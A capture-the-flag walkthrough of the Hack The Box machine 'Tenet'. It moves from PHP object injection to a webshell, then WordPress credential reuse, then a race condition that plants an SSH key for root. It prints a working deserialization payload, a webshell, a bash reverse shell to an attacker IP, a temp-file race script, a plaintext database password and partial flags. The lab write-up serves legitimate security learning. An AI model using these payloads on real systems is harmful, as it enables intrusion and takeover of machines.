Hack The Box
Hack The Box: Tenet Walkthrough
An exposed PHP backup revealed object injection that wrote a webshell, WordPress database credentials were reused for Neil, and a race in his sudoed SSH-enabling script replaced the temporary key before it was copied into root's authorized_keys.

Machine: Tenet
Platform: Hack The Box
IP: 10.129.2.149
Difficulty: Medium
Path: PHP Deserialization → Credential Reuse → Race Condition
1. Initial Reconnaissance
Action:
Start by enumerating open ports, service versions, and the exposed application.
nmap -sS -sC -sV -p- 10.129.2.149
Or a faster version:
nmap -p- --min-rate 10000 10.129.2.149
nmap -p 22,80 -sC -sV 10.129.2.149
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Key insight: SSH without credentials is a brick wall. HTTP is where we'll find our foothold.
2. Web Enumeration & The Vhost Problem
Action:
We visit the IP directly in a browser or with curl:
curl -s http://10.129.2.149/ | head
We see the Apache2 Ubuntu Default Page. This means the server is hosting something, but the default vhost is just a placeholder.
Directory Enumeration:
gobuster dir -u http://10.129.2.149 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php
Results:
/users.txt: contains just the word "Success"/wordpress: a WordPress installation
The Vhost Problem:
When we visit http://10.129.2.149/wordpress/, the page looks broken - CSS is missing, images don't load, links point to tenet.htb.
Why? WordPress hardcodes its domain name in the database and configuration. When the server receives a request for the IP address, WordPress generates links for tenet.htb, but our browser can't resolve that domain.
Fix:
echo "10.129.2.149 tenet.htb" | sudo tee -a /etc/hosts
Now browse to http://tenet.htb.
3. Finding sator.php and Its Backup
Action:
We browse the WordPress site. There's a post called "Migration" with an interesting comment from a user named neil:
"did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!"
Key Intelligence Extracted:
- A username:
neil - A file named
sator.php - There is a backup of this file
Searching for sator.php:
We check both the IP and the vhost:
curl -s http://tenet.htb/sator.php # 404 Not Found
curl -s http://10.129.2.149/sator.php # Found!
Output:
[+] Grabbing users from text file <br>
[] Database updated <br>
Finding the Backup:
Neil mentioned a backup. Common backup extensions: .bak, .backup, .old, .swp, ~.
curl -s http://10.129.2.149/sator.php.bak
Finding. We get the full PHP source code.
4. Understanding PHP Object Injection
The Vulnerable Code (sator.php.bak):
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this->data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this->user_file, $this->data);
echo '[] Database updated <br>';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app->update_db();
?>
Breaking Down the Vulnerability:
What is Serialization?
In programming, serialization is the process of converting an object (a data structure in memory) into a format that can be stored or transmitted. Deserialization is the reverse - converting that stored format back into an object in memory.
In PHP, you serialize an object like this:
$object = new DatabaseExport;
echo serialize($object);
// Output: O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"users.txt";s:4:"data";s:0:"";}
The Danger: unserialize() On User Input
The code takes user input ($_GET['arepo']) and passes it directly to unserialize():
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
This means we control what object is created in memory.
The Magic Method: __destruct()
PHP has "magic methods" that are called automatically under certain conditions. __destruct() is called when an object is destroyed (at the end of the script, or when it goes out of scope).
Look at what __destruct() does:
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this->user_file, $this->data);
}
It writes $this->data to $this->user_file.
The Attack:
Since we control the serialized object, we can:
- Create a
DatabaseExportobject - Set
$user_fileto any filename we want (e.g.,shell.php) - Set
$datato any content we want (e.g., a PHP webshell) - Serialize it and send it to
sator.php?arepo=... - When the script ends, PHP destroys our object, calling
__destruct() __destruct()writes our malicious data to our chosen filename
User-controlled input reaches unserialize(). The supplied object controls properties used by __destruct(), allowing the file-write behavior to be redirected.
5. Exploiting Deserialization to Get a Webshell
Crafting the Payload:
We create a PHP script to generate the serialized object:
<?php
class DatabaseExport {
public $user_file = "shell.php";
public $data = '<?php system($_REQUEST["cmd"]); ?>';
}
$sploit = new DatabaseExport;
echo urlencode(serialize($sploit));
?>
Or as a one-liner:
php -r 'class DatabaseExport { public $user_file = "shell.php"; public $data = "<?php system(\$_REQUEST[\"cmd\"]); ?>"; } echo urlencode(serialize(new DatabaseExport));'
Output:
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A34%3A%22%3C%3Fphp+system%28%24_REQUEST%5B%22cmd%22%5D%29%3B+%3F%3E%22%3B%7D
Triggering the Exploit:
curl -s "http://10.129.2.149/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A34%3A%22%3C%3Fphp+system%28%24_REQUEST%5B%22cmd%22%5D%29%3B+%3F%3E%22%3B%7D"
Expected output:
[+] Grabbing users from text file <br>
[] Database updated <br>[] Database updated <br>
Notice Database updated appears twice - once for the $app object created in the script, and once for our injected object.
Verifying the Webshell:
curl -s "http://10.129.2.149/shell.php?cmd=id"
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
6. From Webshell to Reverse Shell
Why We Need a Reverse Shell:
A webshell is clumsy. We can't:
- Use interactive commands (like
su,vim, orbash) - See output from long-running commands easily
- Navigate the filesystem efficiently
A reverse shell gives us a direct network connection where we can interact with the target's shell.
Setting Up the Listener:
On our Kali machine:
nc -lnvp 4444
This tells Netcat to listen on port 4444, verbosely, and not resolve DNS.
Triggering the Reverse Shell:
We use the webshell to execute a bash reverse shell:
curl -s "http://10.129.2.149/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.6%2F4444%200%3E%261%27"
Or in plain English, the command being executed on the server is:
bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'
How the Reverse Shell Works:
bash -istarts an interactive bash shell>& /dev/tcp/10.10.14.6/4444redirects stdout and stderr to a TCP connection to our machine0>&1redirects stdin to the same TCP connection
The result: the target's bash shell is piped over the network to our Netcat listener.
Upgrading the Shell:
When we first catch the shell, it's basic - no job control, no command history, no clear screen.
python3 -c 'import pty;pty.spawn("bash")'
Then:
- Press
Ctrl+Zto background the shell - On Kali:
stty raw -echo; fg - Type
resetand press Enter - If asked for terminal type, type
xterm
7. Privilege Escalation to User (Neil)
Enumeration as www-data:
Now that we have a shell, we look around:
ls /home
# Output: neil
One user: neil.
Finding Credentials:
WordPress stores database credentials in wp-config.php. Since WordPress is running on this server, we can check:
grep -A2 "DB_PASSWORD" /var/www/html/wordpress/wp-config.php
Output:
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
Credential Reuse:
People reuse passwords. The database password is very likely Neil's user password too.
su - neil
# Password: REDACTED
Success! Now we're neil.
Grab the User Flag:
cat ~/user.txt
# 822953[redacted]5e17618d
8. Privilege Escalation to Root (Race Condition)
Checking sudo Privileges:
sudo -l
Output:
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
Neil can run /usr/local/bin/enableSSH.sh as root without a password.
Analyzing the Script:
cat /usr/local/bin/enableSSH.sh
Full script:
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa REDACTED_ENCODED_LAB_MATERIAL root@ubuntu"
addKey
checkAdded
Understanding the Script's Logic:
mktemp -u /tmp/ssh-XXXXXXXX: generates a random filename like/tmp/ssh-a1B2c3D4touch $tmpName: creates the empty file (with umask 110 = permissions 666, so anyone can read/write)/bin/echo $key >>$tmpName: appends the hardcoded SSH public key to the temp filecheckFile $tmpName: verifies the file exists and has content/bin/cat $tmpName >>/root/.ssh/authorized_keys: appends the temp file to root's authorized keys/bin/rm $tmpName: deletes the temp file
The Vulnerability: Race Condition
A race condition occurs when the behavior of a system depends on the relative timing of events - specifically, when one process is supposed to complete actions in a sequence, but another process can interfere between those actions.
In this script:
- The file is created (step 2)
- The hardcoded key is written (step 3)
- The file is copied to authorized_keys (step 5)
- The file is deleted (step 6)
The race window is between step 3 and step 5. If we can overwrite the temp file with our own SSH public key after the hardcoded key is written but before the file is copied, then our key gets appended to /root/.ssh/authorized_keys instead!
Mechanism:
- The file is created in
/tmpwith permissions666(world-writable) - We (as
neil) have permission to write to it - The script runs as
rootviasudo - But the temp file itself is writable by anyone
Preparing Our SSH Key:
On Kali, we generate a new key pair:
ssh-keygen -t ed25519 -f ~/.ssh/tenet_root -N ""
View the public key:
cat ~/.ssh/tenet_root.pub
Output:
ssh-ed25519 REDACTED_ENCODED_LAB_MATERIAL kali@kali
The Attack: Racing the Temp File
We need two things happening simultaneously:
- A loop that constantly overwrites any
/tmp/ssh-*file with our public key - The script running via
sudo
Terminal 1: The Race Loop
We create a Python script that watches /tmp for files starting with ssh- and overwrites them instantly:
cat > /tmp/race.py << 'EOF'
import os
key = "ssh-ed25519 REDACTED_ENCODED_LAB_MATERIAL kali@kali\n"
while True:
for entry in os.scandir("/tmp"):
if entry.name.startswith("ssh-") and entry.is_file():
with open(entry.path, "w") as fh:
fh.write(key)
EOF
Run multiple instances in parallel for better odds:
for i in {1..5}; do python3 /tmp/race.py & done
Terminal 2: Running the Script
While the loops are running, we execute the vulnerable script repeatedly:
for i in {1..30}; do sudo /usr/local/bin/enableSSH.sh; done
What Happens:
- Most runs will say:
Successfully added root@ubuntu to authorized_keys file!(the hardcoded key won) - Eventually, one run will say:
Error in adding root@ubuntu to authorized_keys file!(our key won!)
The "Error" message is actually success for us - it means checkAdded() couldn't find root@ubuntu in authorized_keys because our key (with comment kali@kali) was written instead.
SSH as Root:
Once our key is in /root/.ssh/authorized_keys:
ssh -i ~/.ssh/tenet_root -o StrictHostKeyChecking=no root@10.129.2.149
We get a root shell:
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
Grab the Root Flag:
cat /root/root.txt
# 1c1baf[redacted]d1ff7fba7
9. Review notes
Reconnaissance Phase
- Start broad, then narrow. We scanned all ports, found two services, and focused on HTTP.
- Every broken page is a clue. The broken WordPress site told us about vhosts.
- Comments are intelligence gold. Neil's comment gave us usernames, filenames, and the existence of a backup.
Exploitation Phase
- Source code is the ultimate target. Finding
sator.php.bakgave us the entire attack vector. - Understand the language. Knowing PHP magic methods such as
__destructexposed the deserialization vulnerability. - Verify each step. We checked the webshell with
?cmd=idbefore attempting a reverse shell.
Post-Exploitation Phase
- Config files contain passwords.
wp-config.phpis a standard target and delivered Neil's password. - Credential reuse is real. The database password was the user password.
- Check
sudo -l. It revealed our path to root with zero effort. - Read every script you can run as root. Understanding
enableSSH.shrevealed the race condition. - World-writable directories are dangerous.
/tmpwith permissive umask values is a classic privilege escalation vector.
General Principles
- Be methodical. Don't skip steps. Each piece of information builds on the last.
- Review the implementation. They left a backup, they reused passwords, they didn't secure
/tmp: these are human mistakes. - Persistence beats brilliance. The race condition required multiple attempts. Many exploits fail the first time.
- Minimize your footprint. Use simple tools (curl, Python, bash) that don't require uploading large binaries.
- Chain vulnerabilities. No single vulnerability gave us root. We chained: deserialization → credential reuse → race condition.
Flags
| Flag | Value |
|---|---|
| User.txt | 8229530[redacted]e17618d |
| Root.txt | 1c1baf2[redacted]1ff7fba7 |
Walkthrough completed.